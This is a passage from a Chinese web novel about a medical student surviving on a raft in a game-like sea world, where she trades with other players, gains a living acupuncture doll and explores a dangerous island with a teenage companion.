仔细想想人家连粪便造型的巧克力都吃得下去,马桶造型水龙头流出的水怕什么。
从某种程度来说,自己还解决了海上没有纯净水的难题呢,想来想去,秦源的心里瞬间好受了很多。
“当然可以。”玖安这边也松了口气,她的小面包挺多,但是纯净水在海上是稀缺资源,能省一笔是一笔,况且就算小面包没有了,她有很多鸡肉鱼肉,也拥有【医学生的爱】,可以解决食物问题。
秦源仔细查看玖安的个人信息,作为社畜,一步错步步错小心翼翼是他的常态,他发起交易。
“是否与玩家‘秦源’进行交易?该交易受系统保护。”
玖安点了确认,这交易受保护,看起来挺靠谱,既然如此,她也放心将物品放入出现在她面前的白色光环里。
面对如此爽快的交易,玖安多放了几个小饼干。
下一秒,她放入的物品消失不见,取而代之的是一个巴掌大小的木制品,还有一大包粉色的东西,看起来就是工具台了。
林玖安把东西取了出来,发现对方给他发了一包卫生巾。
“我看了你的资料,你是女生,应该可以用得上这玩意,我一个大男子汉的也用不上,况且你也给我多发东西。”
“大好人,谢谢你!但是将这玩意用来交换,应该挺多女生需要的,真的太感谢你了!”玖安连发了好几个跪地拜谢的圣女果表情包,不知道圣女果是被谁威胁了,居然真的愿意搞这么抽象的表情包。
“没事,我这边还有,而且女生之所以需要这个,除了自己舒服一些,还考虑了血乱飚对外影响不好,说起来还是给我们面子呢。现在大家都在自己的小舟上,食物才是刚需。”
对方看起来对搞怪圣女果表情包无动于衷,但是冰冷冷的文字越看越暖
玖安向对方
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发送了好友申请,对方很快就同意了。
真幸运,第一次交易就遇上了良心大好人。
另一边,秦源看着到手的食物个小面包还有三个压缩饼干,热泪盈眶,呜呜呜,好吃的饭,感觉又可以活下去了呢。
女孩子就是好啊,还多送了几个,都可以再饱餐一顿了,这个世界没有女孩子该怎么转啊?
秦源狼吞虎咽地啃完一整个拳头大的面包,就像猪八戒吃人参果一样,一点味道没尝出来,还差点被噎着。
他掏出不知道从哪个箱子里开出来的西葫芦瓢,从马桶里瓢出一壶水,咕噜咕噜喝了下去。
感觉身上又充满活着的力量了!
待会一定要多捞一些箱子,看看能开出什么有用的!
开出船竿的秦源老早就发现,在每一片海域,箱子都会不定时出现,捞完一个海域的箱子,可以操纵小舟,前往下一个海域,这样就可以捞刷新出来但是没有人捞的箱子了。
为此他还完成了一个探索海洋的任务。
就是有一点点费胳膊,但是现在他可是秦.吃饱饭.源!生活又有了奔头。
这边,玖安也没闲着,她拿出小小的工具台,放置在小舟上,随着她的动作,工具台逐渐变大,但是重量确没有改变。
肉眼可见的,小舟空的地方小了许多,一个工具台,占两个人的位置,实在是太娇贵了!
好在扩建图纸可以使用了,她一股脑将所有木板和铁块放了进去。
小舟确实变大了,但是看着一个拳头一个拳头缓慢扩大的船板,玖安陷入沉默。
啊,一块半人高的木板,换来拳头大小的船板,工具台,你是不是贪污贪得有一点点多了?
玖安放进去的十块木板十颗铁块消失不见,取而代之的是差不多一平方大小的船板,甚至还没有工具台占的地方大。
啊,工具台你是认真的吗,别唬她!
显然,工具台认真得不能再认真。
玖安心痛极了,“你们游戏,果然都没有心,没有心!”
“叮,领地成功扩大一平方米,任务完成,下一阶段任务:请扩大领地一百平方米。奖励:未知。”
眼前出现闪闪亮亮大转盘,玖安又跳了起来。
转盘,嘿嘿,喜欢转盘。
就爱当赌狗,就爱当赌狗!
这一次,玖安转到了神秘五等奖。
【医学生的针灸小人】
注意看,这个针灸小人叫“$”,它有修长的双手,修长的双腿,修长的头发,它有雪白的皮肤,鲜艳的红唇,它像白雪公主一样貌美……
好吧,它是一个针灸小人,每个中医学生都必备的针灸小人,拥有它,无论是背穴位,还是练习扎针,都方便至极。中医学子们再也不用担心在自己身上练习的时候一不小心把自己扎瘫啦!
技能:针灸小人能有什么技能呢?针灸小人只能在无数个难眠的夜里,提醒你不要忘记背今天学的穴位了。
所以,名字那里为什么是一堆乱码啊?所以,修长用来形容头发是不是多少有点奇怪?
5. 该该
这么想着,一个小人不知从哪里出现,掉进了玖安的怀里。
得亏她反应迅速,要不还不知小人会不会摔一个大跟斗呢,这游戏系统也真是时不时抽一下风,要她说,这奖励就应该里三层外三层精心包装,放在精致的小盒子上,外面别忘了扎上粼粼的丝带。
这样玩家打开礼物,多神秘啊,多有仪式感啊,不得连声称赞:好家伙,然后分分钟给游戏系统一个五星好评。
这样大意,万一把她的奖励摔坏了咋办?这可是她辛辛苦苦换来的,就算游戏系统崩了,她的奖励也得安安稳稳的!
针灸小人不过四十厘米高,抱在怀里,说不上轻飘飘,也说不上十分有分量,只能说是实心的。
它穿着简单的白衣,白衣宽大,看起来十分容易拉扯开。小人头发“修长”,简单地束了起来。
和玖安想象中的针灸小人不太一样。
她想起了当年大一开学,在学校花了大价钱统一购买的针灸小人,身体僵硬,没有头发,赤身裸体,全身上下标注满了经络走向和穴位名称。
后来在某宝上识图,网上卖的居然比学校统一订购的便宜几乎一半!那几天晚上想起这件事,玖安都得爬起来把学校骂一顿。
玖安迟疑地看了看怀里的小人,孩子还挺有隐私意识的,还会穿衣服。
它紧闭着双眼,皮肤摸起来紧致又有弹性,双手双脚确实称得上“修长”这个形容词。
还别说,小人连睫毛都根根分明,手上甚至有指甲,和在学校买的针灸小人一点也不一样。
如果不是因为它裸露在外的皮肤上有着一条一条的黑线,标注着每一个穴位的名称,它看起来就和一个缩小版的人类毫无差别了。
就是这头发,感觉挺碍事,把脑袋上的穴位遮挡得严严实实,话说能不能剃掉啊?玖安抚摸着下巴,思考剃头的可能性。
小人似乎察觉到她的想法,缓缓睁开它的眼睛。
那是一双很漂亮的眼睛,波光粼粼,仿佛有星光在流淌。温润的,不着一丝生气的眼睛。
看起来像没有一丝情感的眼珠子,就这么直直地盯着她。
玖安差点就要把怀里的小人丢出去了,系统,你也没说明这小人还能睁眼啊,虽然它确实很漂亮很美丽,但是正常的针灸小人可是一个死物,这突然活了,再强大的心脏都得一个疙瘩。
小人转过头,关节发出了咔哧咔哧的声音,像是久未活动的古稀老人。
更吓人了。
它扬起脑袋,眼睛里染上疑惑,看起来有了一丝活人气。
玖安瑟瑟,不知拿怀里的小人怎么办才好。
小人看了一会儿,突然伸出了手,抓住玖安的一个小指,用脸蹭了蹭。
什么东西?软乎乎的!
玖安感觉自己胳膊上的鸡皮疙瘩全消失了,脸瞬间热起来,好可爱!玖安发出尖锐爆鸣,想亲!
谁能拒绝香香软软还会撒娇的小人!就像没有人类能拒绝一只有着柔软毛毛,虽然傲娇,但是会偷偷观察你在做什么,趁你不注意还会悄悄从你身边路过,然后趁机蹭蹭你的小猫咪!
玖安梦回童年,在那个还爱玩芭比娃娃过家家的年纪,她是多么希望一觉醒来,喜爱的小公主睁开杏仁一样的大眼睛,和她一起玩耍。
没想到童年的愿望在长大以后以另一种形式实现了,会动的娃娃,但针灸小人!
看了看小人略带懵懂的眼神,玖安慢慢冷静下来,算了,孩子还小,多冒昧啊,还是不要吓到它了。
她想起介绍里名字那行的马赛克,决定给小人取一个好听好记的名字,总不能天天“小人,小人”地叫人家吧,多不礼貌。
给针灸小人取了名字,就像小时候,给每一个芭比娃娃取了名字,然后便有了新的玩伴,新的家人。
“该该,就叫该该吧。”玖安脑袋里自动播放石矶娘娘亲小猫咪的视频:可爱的小猫咪就该被亲死,可爱的小人就该被亲亲!
不知什么时候,该该阖上了它的眼眸,安静地,悄无声息地,像是在城堡里昏睡的美人。
待机时间很长,但在线时间很短。
玖安小心翼翼将它放在豪华双人床上,还不忘给它的肚脐眼盖上被子。
又想起还没萌芽的“一粒种子”和被寄予厚望的“一粒米”,她取了些水,细心浇灌,精准滴淋,绝不浪费任何一滴水。
这下好啦,真自己没养好就开起幼儿园啦,两株不知道能不能养活的植物,还有一个小人,甜蜜的烦恼。
玖安噙着笑,然后发现自己升级了。
光幕出现了一个以她名字命名的软件,点开一看,是她的个人信息。
【林玖安】
等级:2级
性别:女年龄:20所属区域:A区(建设美丽A区,从你她他它做起)
生命值:100+10(咦,好一个菜鸡)
体力:60+20(就比别的大学生好那么一丢丢)
智力:8(有点小聪明但不多)
敏捷:6(就这,你……唉真是,我都不想说)
力量:30+10(跑又跑不快,体力又不行,打又打不过,大声告诉我,你该怎么办?)
幸运:8(呵,区区这么点)
技能:无
奇物:医学生的《诊断学》,破落户的鱼竿,医学生的爱,医学生的针灸小人
评语:游戏难,哪里难了!不要睁着眼睛乱说,有时候找一下自己的原因,这么多年,数值涨没涨,有没有努力!
评定人:圣女果
有的时候,玖安觉得自己和圣女果同志冲的是一片浪。
虽然但是,哑巴不能做游戏设计师,不对,游戏设计师不能当哑巴!
要不是她天生多疑,根本就不能这么快发现自己升级了,奖励呢,连升级奖励都没有,她命也太苦了,前半生在蓝基因(某医学刷题软件)里荒唐岁月,后半生在抠门游戏里当牛马……
-------------------------------------
B区,海伦娜颤抖着双手,将身上仅剩的食物放在面前黑色的圆环里,她的手血肉模糊,鲜红的血随着她的动作越流越欢,一部分滴落在船板上,混合到海鸟尸体里,分辨不出哪一些是她的血液,哪一些是海鸟的。
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一把豁口的刀掉在尸山的旁边,血将刀口洗刷得很干净,反射着冰冷的光线。
她紧紧盯着面前的光环,希望她想要的药物能快点出现,这样她才好处理试炼导致的伤口。
等了快半个钟,面前的光环终于发起了光,出现在里面的,是一整根啃干净的鱼骨头。
她急忙打开对话框:这和我们的交易内容并不相符,你违背了交易原则!
对面很快发来了消息:“蠢货!”,短短地两个字,看得海伦娜肝火旺盛。
海伦娜拼着最后一丝力气点开了玩家的个人消息,B区的个人信息并不透明,她并不知道对方的名字是真名还是昵称,但是她记住了,“伯特”,如果她能活下来,就算追到天涯海角,她决不轻饶!
她陷入黑暗。
-------------------------------------
又到饭点了,玖安摸了摸自己瘪瘪的肚子,决定今天搞一顿热乎的,安慰一下这几天只能吃干面包喝冷水的胃。
她架起了锅,点起了火,做起了烤鸡肉。
在妈妈看不见的地方,她也是学起了妈妈,做起香喷喷的饭呢。
然后一个没注意,鸡肉烤焦了,散发出一丝丝的糊味,没事哒,没事哒,好歹熟了不是吗?
玖安将烤焦的地方撕掉,这样一来,又是一只烤得火候刚刚好的鸡了。
她咬了一口鸡肉,并不难吃,鸡肉鲜香有嚼劲,一吃就知道这只鸡生前一定十分热爱运动,加上一点木头的清香,味道还不错。
明明一点调料都没放,还能这么美味,果然她的厨艺非常不错,绝对不是因为游戏里面的鸡比现实生活里的美味!
沉浸式干饭!刚咬一口,一抬头,玖安就看见该该双手捧着脸颊,蹲在她的旁边,一错不眨地盯着她吃东西。
“你也想吃?”什么时候出现的,她一点动静都没感受到。
玖安撕下一只鸡腿,在该该眼前晃了晃,该该眼珠子跟着鸡腿转呀转,然后视线停留在玖安脸上,眼神里明晃晃写着“想吃”二字。
玖安自认是一个大方的小女孩,她把一整个鸡腿递给了该该,完全忽略了该该的大小,然后该该捧着鸡腿,被鸡腿带翻了。
“哈哈哈……”看着该该清澈疑惑不敢置信的眼神,玖安笑出声来。
她换了一个鸡翅根给它,这下它终于拿稳了,心满意足吃了起来。
还会吃东西呢,真可爱。
-------------------------------------
沈该睡了很久,宫殿外日月迁移,似乎与他毫无干系。
直到一股奇异的香味,顺着清风,分布在每一丝空气里,唤醒了他。
一只小小的玩意,不够巴掌大,却非常强势地抢占了他的注意力。
沈该升起一阵渴望,进食的渴望。
他在书里见过这种东西,似乎是一种名叫“鸡”的动物的一部分,可食用。
沈该尝了一口,瞪大了双眼,快速将手里的食物解决掉,甚至还觉得,这小小的一块,似乎有点太少了……
6. 【海水净化器图纸】
沈该吃没吃饱,没人知道,反正玖安和该该吃得十分满足。
就是可惜这里没有快乐水,玖安悲伤叹息,想念有汉堡,火锅,奶茶,奢侈且不健康,但实在快乐的日子。
玖安想起了学校食堂的标语:外卖可以吃一辈子,食堂只能吃这几年。
现在好了,不但食堂吃不到,外卖也离她远去了。想念,是最长久的爱,今天,也十分想念美味的外卖呢。
该该吃完手里的鸡翅根,满足地打了个饱嗝。表情从惬意变得惊恐,慌乱地举起小手捂住嘴,打量了玖安好一会儿。
看玖安似乎忙着收拾垃圾,没有注意到它的举动,该该才放心地放下手,长舒了一口气,又变回面无表情的小模样,还不忘帮着玖安收拾东西。
玖安悄悄瞥了该该一眼,它并没有发现自己早就看到它的一举一动了,怪要面子且爱干净的小人,实在是,太可爱啦!
将小舟收拾干净,该该步履摇晃,面色潮红,像是喝了许多杯假酒一样,左扭右歪,似乎下一秒就要摔倒了。
玖安有些紧张,以为是自己做的“火候刚好”的烧焦鸡肉把小人吃坏了,刚要伸手把该该接住,却见小人一下倒在不知从哪里出现的雕花木床上,撅着屁股睡着了。
好像有一根箭正中玖安的心,软乎乎的可爱生物,没有人会不为之动容。
小舟依旧在宽阔的海洋上飘荡,没有起点,也没有目的地。
此时已是夜晚,月光璀璨,星光熠熠,海面映着天空,波光潋滟,犹如碎银。
玖安不知道这样的生活还要维持多久,也不知道未来还会遇见哪些危机,但是此时此刻,生活算是颇有乐趣,日子并不算难熬。
………………
海伦娜清醒过来的时候,手已经停止了出血,海风混着雨水稀稀拉拉地落在她的脸上,冰凉冰凉的,让她想到童年时喜欢吃的盐水冰棒,含在嘴里,也是这样的感觉,连酷暑都没有这么可怖了。
不过现在的情况可能没有这么妙,她稍微一动,胸口就开始剧烈地疼痛。
海伦娜严重怀疑那些该死的海鸟把她的肋骨撞断了,不过还好,即使它们把她搞得遍体鳞伤,她这条烂命还是没有被老天收走,老天还是偏爱她的。
当然,她把所有攻击过她的海鸟都杀了,也算是有仇当场就报了。
最让她气恼的是昏迷前的交易,“伯特”,这样伤尽天良的人,灵魂迟早会被恶魔收入地狱,但是在那之前,她一定要找到他,好好给他一点惩罚。
就这样躺在冷硬的船板上想了半天,海伦娜终于发现她的船头上,坐在一团黑色的阴影。
阴影缓缓转了过来,海伦娜的呼吸一窒,心跳几乎要停止。
“嘿,亲爱的海伦娜,好久不见,最近过的怎么样?”
阴影停顿了一会,“看来适合过得并不太顺心呀!”
就着朦胧的月光,海伦娜认出了那团阴影,是她们的管理员—芒狗
她还记得第一次见芒狗的情形,那个时候她刚刚把一个欺凌她的贱人的脑袋按进马桶里,结果下一秒就陷入昏迷。
昏迷前她还暗恨贱人们耍阴招,不知道自己昏迷后他们会做些什么不可理喻的事情,清醒的时候,就来到这个陌生的地方。
当时芒狗就坐在她面前,一手撑着脑袋,另一只手把玩着什么东西,有什么液体顺着那东西滴滴答答地掉在她的脸上,黏腻又带着温热。
海伦娜定睛一看,那是一个人头!一颗看起来刚死没多久,还没闭合的眼睛里盛满恐惧的人头!
芒狗就这么提着这颗脑袋,看起来兴致缺缺地向她打着招呼,哪怕它看起来就像一颗快烂的,表皮皱巴巴,有着黑色斑点和杏仁般大眼睛,毫无威胁的芒果,海伦娜也根本就不敢轻视它。
海伦娜全身紧绷,伤口崩裂开,血又涌了出来,血液过量的流逝让她的脑袋晕乎乎的,像玩了一百遍的海盗船。
来到这里的好几天,她除了生吃了一只爬上来攻击她的章鱼,喝了好些可能并不怎么干净的雨水外,没有进食过任何东西。
好不容易碰到一个木箱子,里面有些面包和纯净水,还没来得及吃,就交易出去,换了一副鱼骨!
海伦娜想起这件事,便气的眼前发黑,连胃传来的疼痛都没有那么明显了。
“嘿,小姐,你看起来情况不太妙,要活不过今天晚上了啊。”
海伦娜心里一个疙瘩。
“话说我有一个好办法,既能让你活下来,又可以让你拥有强于他人的力量,海伦娜小姐,你要不要听一听呢?”
芒狗托着尖下巴,眼睛里闪着机械的光,嘴角勾起奇异的弧度,诡异地看着她……
…………………
“嘿,美好的早晨!”玖安从床上一跃而起,伸了个大大的懒腰,筋骨肌肉被拉扯开,一种别样的舒适感。
该该半张小脸埋在被子下,依旧睡得很香甜,非常令人羡慕的睡眠质量。
此时花盆里的“一粒种子”已经开始抽芽,“一粒米”依旧没有动静,但是总归来说,一切都在往好的方面发展。
海上又多了很多箱子,依旧是数十个木箱子中,围着一个银箱子。
玖安已经开始期待新一天的开箱了,这种未知的收获,真是让人无比沉迷呢。
不过在这之前,还是得先把早餐搞定,人是铁饭是钢,一顿不吃饿得慌,两顿不吃虚得慌,三顿不吃晕得慌。
玖安想起昨天用来滥竽充数的海草,发现里面夹着一条海带,她把海带挑了出来,煮了一些海带汤。
想吃青菜水果了,不知道能不能开出这些东西,要是运气一直不好,吃不到蔬菜水果,不知道再过十天半个月,她会不会因为维生素C缺乏导致牙龈出血呢?
吃饱喝足,玖安撸起袖子就是干,开始了捞箱子大业,劳动人民就是最光荣的!
木箱子一如既往,要么是突如其来攻击的动物,要么是一些食物和基础材料。玖安处理起这些小玩意已经是得心应手,颇有心得了。
终于到最后一个银箱子了,玖
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安怀着激动的心,伸出颤抖的手,打开箱子,里面只有一张薄薄的纸片,不出所料,是图纸。
【海水净化器图纸】
不要1998!不要998!不要98!仅仅需要一百二十块木头,六十块铁块,三十块铜块,还有一颗普普通通的芯核,你就将获得一个简易版海水净化器。买不了吃亏,买不了上当!
玖安的面色一喜,两颗白水银里坠着黑珠子的眼睛快要弯成月牙状,只要有了这玩意,就再也不用担心因为开不到“有点甜”矿泉水导致没有水喝啦!
但是很快玖安就脸就垮了下来,这些材料是不是有点多啊!她看了看自己的背包,木头和铁块都用来建船板了,现在只剩下今天开完箱子收拾出来的几块木头。
更别说那个芯核了,这玩意她连听都没听过,更别说获得了,这么看来,想要实现淡水自由,她还有很长的路要走!
玖安垮着脸,掏出鱼竿一边钓鱼一边刷区频道的消息。
“家人们,你们有没有发现今天有什么不同?”
“啊,有什么不一样吗?除了我今天船边出现的箱子比昨天的少了一半以外,啥都没变啊?”
“这游戏每天就只有捞箱子一个玩法吗?我每天捞得都快吐了,还好我运气比较好,这几天捞了很多食物,水,还有一些常用药品,至少基本生活不用太担心。”
“楼上的,能不能交易一点伤药,以前试炼的伤我到现在还没办法处理,都化脓了……”
“楼上的,你还想要什么玩法?到时候再来几次试炼你就老实了。”
“所以到底有什么不一样啊,刷了这么久前面的还不说!”
“家人们,我好像看到海岛了,我们是不是马上可以上岸了!”
……
这条消息像一颗巨大的石头掉进水里,区频道一下子就沸腾起来了。
“真的假的,我怎么没看到?”
“我看到了,我看到了!”
“啊啊啊,我们终于可以不用在海上生活了吗?我晕船,这几天吐的天昏地暗,胆汁都要吐出来了……”
“楼上的真是太惨了吧。”
“别开心得太早啊各位,保持紧惕心,谁知道岸上会有些什么玩意?”
“你们忘记有着铁鸡喙的尖叫鸡和奇形怪状的海鱼了吗?”
有几条这样合理预测的消息,但更多的,还是人们激动的欢呼。
毕竟是一直生活在陆地上的人,在海上颠簸的这几天,或许勉强还算得上是一次新奇的体验,但是再这么下去,并不是所有人都觉得愉快。
玖安看到消息,眉毛轻轻扬起,手上的动作都轻快了许多。即使这一次海钓毫无收获,玖安还是果断地把鱼竿收了起来。
嗨,钓鱼佬嘛,偶有空军也是正常的事。
她扶着船边,举目远眺,隐隐约约,在海天相接的地方,看到了一抹绿意。
随着船越开越近,玖安终于看清楚了,那是一座海岛,看起来很大的,很稳定,资源很丰富的一座岛。
7. 初上海岛
明明在前一刻钟看起来还很遥远的小岛,下一秒就近在眼前了。
光幕上跳出了新的消息:发现小型海岛,是否探索?
玖安点了“是”,然后迅速收拾背包,食物,带上!药物,带上!小人,带上!
虽然不知道带上小人有什么用,但是还是先带上吧。
刚刚把小人抱在怀里,船板上乱七八糟都是她从背包扔出的东西,还没反应过来,玖安就眼前一黑,下一秒便出现在一颗椰子树旁边。
感觉像是体验了一回《哈利波特》里穿梭时空的魔法,有一种被肠子挤压,迫不及待想要把她踢出去的扭曲感。
玖安扶着树干,脸色煞白,差点就要一吐千里了。
动静这么大,小人依旧睡得十分安详,她于是直接把它放进背包里,让它好好休息。
缓了好一阵子儿,玖安缓过劲来,开始打量四周。
平静的沙滩,白金色的沙子细腻如流水,用手抓上一把,很容易就从手心滑落。
放眼望去,遗落的海星无助地将半个身子埋在沙里,拇指大的螃蟹到处乱爬,海水上涌,将一团乱糟糟地海草冲上岸,然后快速消失。
沙滩再往里,是墨色的树林,通往树林的小径清净幽深,隐隐看见光穿过叶片,地上是斑驳摇曳的树影。
再远一点,有一个隐隐约约的人影,慢慢吞吞地移动着,
对方好像也看到她了,放快了脚步。
一瞬间,玖安想到了《鲁滨逊漂游记》里的食人族,人还是要有点警觉之心的,她掏出了《诊断学》,做好了情况不对劲转身就跑的打算。
对方向她摆动双手,随着距离的缩短,玖安看清楚了来人——一个看起来不过十五六岁的女孩。
女孩看起来青涩极了,扎着两个麻花辫,眼睛圆溜溜的,像两颗黑葡萄。
她穿着蓝色的校服,熟悉的宽松校服,适合几乎所有大动作的行为。
明明还是在上学的年纪,却莫名其妙来到这个陌生的世界。
好吧,其实她也还在上学,上大学怎么不算上学呢!
女孩看见玖安,显而易见松了一口气,快步走到她面前,小幅度地摆了摆手,“你,你好!”,又迅速低下脑袋,留给林玖安一个毛绒绒的脑袋,怯生生的模样。
“姐,姐姐,我叫陆匀,我可以跟你一起走吗?我有一点害怕”陆匀双手绞着,面色忐忑。
好久没见过活人了,玖安觉得自己再不开口说话,语言系统都要倒退了。
“你好呀,你可以和我一起走,但是我也什么都不知道,别指望我太多。”探索陌生的海岛,人多一些总是有好处的。
其实是玖安也害怕。
“没关系的!”陆匀僵硬的身躯肉眼可见松懈下来,她抬起脑袋,眼眶湿润,试探性地伸出一只手,抓住了玖安的衣摆。
“我叫林玖安。”玖安没有阻止陆匀的动作。
“玖安姐姐,我一定会努力帮上你的忙的!”陆匀目光炯炯。
玖安有些心虚,感觉自己在拐卖涉世未深的未成年。
在绕着沙滩走了半圈,什么线索也没有找到,两人泄气地靠在椰子树下,面前几条鱼仔在浅小的水坑里摇头晃脑,不用游多远,就碰壁返回。
玖安抬头看了看树上挂着的几个椰子蛋,更觉口干舌燥,想吃!
她抱着椰子树干,想要把椰子摇晃下来,但是,树干却纹丝不动。
她又掏出了诊断书,希望诊断课本可以祝她一臂之力,把椰子砸下来。
但是,好吧,一无所获。
陆匀在旁边看完了她的一番迷惑操作,“玖安姐姐,让我试试吧。”
“小心点,别砸……”玖安刚想把诊断书递给陆匀,话还没说完,就见陆匀握紧拳头,咬紧牙关,一个用力,拳头砸在树上。
树剧烈地晃动起来,一颗颗椰子蛋不堪重负,掉在地上。
要不是玖安躲得快,差点就要被椰子开瓢了。
“玖安姐姐,对不起,我没想到这么轻松就把它们弄下来了,没有提醒姐姐注意安全。”
陆匀愧疚捂脸,玖安目瞪口呆。
说着,陆匀不知道从哪里掏出了一把大砍刀,三两下把椰子砍开,然后将开好的椰子递给了玖安,“姐姐快尝尝好不好喝。”
玖安下巴快要掉到脚底了,姐,她才应该被称呼为姐吧。感觉好像不知不觉抱上了什么大腿。
陆匀后知后觉看出玖安的震惊,把椰子蛋塞到玖安怀里,不好意思地挠挠脑袋,“我们家是杀猪的,从小我的力气就比较大,姐姐不要嘲笑我。”
打开的椰子蛋飘出清甜的椰子香,唤回了玖安到处乱飘的魂。
“怎么会嘲笑你呢?这简直是,太酷啦!”
要不是玖安还抱着椰子蛋,她恨不得握着陆匀的手好好打量一番了,比较一下到底有什么不一样。
陆匀给自己开了个椰子蛋,把杀猪刀收了起来,脸上不由自主洋溢起笑容。
………………
两人吃饱喝足,决定向海岛深处探索,还不忘把剩下的椰子全都带上。
掉都掉下来了,总不能再挂回去吧,还不如便宜她们算了。
沙滩再往里走,就是一大片树林,并不太密集,阳光透过树冠错落而下,在地上形成斑驳的光影。
蝴蝶飞舞的身影,窸窣的草木摩擦声,丛丛盛放的鲜花,美得仿佛一幅油画。连空气,似乎都清新了许多。
玖安和陆匀左顾右盼,被这些自然光景吸引了注意。
于是等回过神来时,她们已经踏入了一片暗林。
高大的树木,粗壮的枝桠,野兽的嘶吼。画风转变得有点突然。
玖安打了个寒战,鸡皮疙瘩迫不及待地冒了出来。
她抓着陆匀的手,想要往回走,却发现她们来时的路,早就被千奇百怪的树枝取代。
她们彻底迷失在树林里了……
………………………
“呼,呼……”许煦好不容易跑出诡秘的树林,瘫坐在地上大口喘着粗气。
曾经被打断的腿因为剧烈运动开始疼痛起来,背上大片的伤痕在来到这个陌生的世界后好了许多,但是由于汗水的浸透,隐隐有些刺痛。
活下去,一定要活下去!她好不容易才逃出魔坑,好不容易才有了现在这样可以安心闭着眼睛睡觉的生活!
一个人影出现在她面前,许煦抬起头,一瞬间,冷汗从额头冒了出来。
“许煦?”
………………………
玖安握紧陆匀的手,试探性地向前走。
身后传来窸窸窣窣的声响,玖安猛回头,却空无一物,只有造型崎岖的树木。
越往里走,光线便更加弱了,连温度似乎都下
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降了几分,不知道是不是自己的心理作用。
脚下不再是茂密的草木,取而代之的是逐渐松软的泥土,脚一踩进去,就被它们热情的挽留。
玖安的心越跳越快,不受控制地想要飞出她的胸膛。
陆匀明明年纪比她小得多,此时却异常的冷静,她似乎也感受到玖安的紧张,更用力地握住玖安的手。
热量顺着交握的双手传了过来,让她感觉好受了些。
突然,陆匀停顿在了原地。
玖安顺着她的目光望过去,顿时,心跳停顿了半刻。
那是一棵大树,一棵大约十个人合抱都抱不过来的大树。树根附近,是人的断肢残骸,粗壮的树根上,是一个一个头骨。
有人类的,还有不知什么动物的。
一颗似乎刚死没多久的头颅,倒挂在她们面前,舌头吊垂,眼睛睁得很大,红色的液体顺着他的眼角往下淌,他的嘴还在蠕动着,似乎还在求救。
人到了极具恐惧的时候是喊不出来的,玖安的双腿发软,眼泪莫名其妙就从眼眶里冒了出来。她下意识就是拉着陆匀磕磕绊绊地向前跑。
边跑还边在心里嘲笑自己,玖安啊玖安,明明你大体老师也看过不少,下到青蛙,上到兔子,都嘎过不少,怎么会这么轻易被吓到呢?连人家未成年小女孩都比不上。
别说,这么一想,注意力转移了,她心里的恐惧似乎都少了一些。
死腿,跑快点啊!
玖安恨自己不是体育生。
一个踉跄,玖安差点摔倒,回头一看,弯弯曲曲的枝桠沿着泥土蜿蜒而来,像一条条有生命的蛇,缠住了陆匀的小腿。
陆匀掏出杀猪刀用力砍向缠绕着她的树枝,树枝被砍掉,下一秒就又冒了出来,源源不断,生生不息。
怪树,你都没有技能冷却cd的吗?
玖安慌乱地掏出诊断书一顿乱甩,打掉了许多向她袭来的树枝,下一秒,树枝依旧锲而不舍地向她涌来,看起来十分不舍得放弃这个看起来香甜可口的食物。
“玖安姐姐,你快跑,别管我了!”玖安看不清陆匀的表情,只听到她隐隐约约的哭腔。
傻孩子,姐姐就算不管你,也跑不过这些怪树啊啊啊啊!
越来越多的树枝缠住了陆匀的腿,一个用力,她摔倒在地上,松软的泥土为她减少了不少的伤害。
但是,她想,她可能不能活着回去了。
陆匀想起了她的爸爸妈妈,她的爸爸妈妈没有受过很多的教育,也没有很多很多的钱,他们住在一间不大的房子里,他们有很多很多的爱。
她的爸爸是屠夫,每天干的就是用锋利的刀,夺走猪牛的性命。
小的时候,屠宰场也是她游乐场。飞溅的鲜血,空气里的腥气,还有妈妈做好的喷香的饭菜,构成她童年的画卷。
后来上学了,同学们都嘲笑她是怪力女,说她身上一股子穷酸臭味,只有她的爸爸妈妈,会温柔地抱着她,说她是世界上最乖最可爱的小宝贝。
她再也见不到她的爸爸妈妈了。
陆匀闭上眼睛,泪水打湿了睫毛。
“别怕!我来救你啦!”
一团火热向她靠近,抓着她的树枝争先恐后地抽离,她睁开眼,看见玖安手心燃起大团的火焰,那火焰照亮了玖安的脸,很温柔的表情,好像妈妈在对她说:“别怕啊,我的宝贝。”
8. 大蘑菇蹦蹦床
玖安觉得陆匀有点奇怪,从人头怪树那里跑出来后,陆匀总是悄悄地观察她。
比方说她们现在正坐在草地上休息,众所周知,哪怕看起来再柔软的草坪,人一坐上去,必定是扎屁股的。
玖安愿称之为“草地吃人定律”。
她不过抱怨了一下自己的裤子太薄,坐着不太舒服,陆匀就把自己的外套脱了,给她垫上。
玖安自认三好青年,哪里好意思坐人家小姑娘的外套,连连摆手拒绝。
但是小姑娘就这样直直地盯着她,眼睛湿润润的,像家养小兔,让她根本不好意思再拒绝陆匀的好意。
她现在也累的很,先不说跑了多久的事情,为了激发【医学生的爱】的最大效果,玖安在短短十几秒钟里想了一堆学医的好处。
什么毕业之后不愁找不到工作(但是不知道毕业后去哪个偏僻城镇医院)
什么大学学的东西比别人多地多(但是早七晚十)。
什么父母以后的医疗养生有保障,(大概吧,虽然现在读了两三年连感冒都不会治疗)。
现在,她对医学的爱简直要溢出屏幕,像喷发的火山一样热烈了。
然后,林玖安悲伤地发现,这种增强对学医的爱的方法居然有副作用!
她好不容易坐在草地上,可以休息一下,但是手却不受控制地掏出了《诊断学》,抑扬顿挫地用播音腔背起书。
“体格检查……”背书就算了,甚至还有无实物表演!
玖安根本不敢看陆匀的表情,害怕看到她一脸懵逼但是表示尊重的眼神。
啊啊啊,她平时不是这样的啊!
她的面子,里子,她的形象,全都崩塌啦!
这个debuff在整整半个小时后才消失。
玖安不顾形象地躺在草地上,双手捂着脸,心里死死的,现在,她是一具冰冷的尸体。
陆匀很有耐心地在旁边等着,甚至没有多问一句。
玖安缓了许久,终于觉得自己活了过来。没事哒,没事哒,丢脸也不在这一次啦,后面说不定还有很多啦!
“我们继续走吧。”她招呼了陆匀一声,陆匀自然地接过玖安手里已经整理好的外套,然后趁玖安不注意,悄悄挽住了她的手臂,非常依赖的样子。
玖安面上不显,心里却暗暗激动,“果然,我的魅力无人能挡。”
总算知道为什么龙傲天那么喜欢装逼了,这种敬佩的眼神,这种莫名的依赖,多么让人沉迷啊!她选择性忘记自己的超绝无实物表演体格检查。
穿过草地没多久,她们就到了一个神奇的地方——一片蘑菇地。
很高很大的蘑菇,像一把把可以同时遮挡好几个人的雨伞,形状各异,错落有致。
